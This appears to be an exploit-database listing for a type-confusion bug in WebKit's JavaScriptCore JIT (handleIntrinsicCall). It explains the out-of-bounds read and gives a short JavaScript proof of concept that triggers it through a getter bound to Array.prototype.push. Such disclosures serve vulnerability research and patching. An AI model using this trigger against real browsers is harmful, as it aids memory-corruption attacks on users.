WebKit JSC JIT - ByteCodeParser::handleIntrinsicCall Type Confusion Exploit

WebKit JIT - ByteCodeParser::handleIntrinsicCall Type Confusion Exploit

/*
    case ArrayPushIntrinsic: {
        ...
 
        if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
            return false;
 
        ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
         
        ...
    }
 
This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.
 
Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.
 
PoC:
*/
 
Array.prototype.__defineGetter__('a', Array.prototype.push);
 
function opt() {
    let arr = new Array(1, 2, 3, 4);
    arr['a' + ''];
}
 
for (let i = 0; i < 1000; i++) {
    opt();
}

#  0day.today [2021-09-08]  #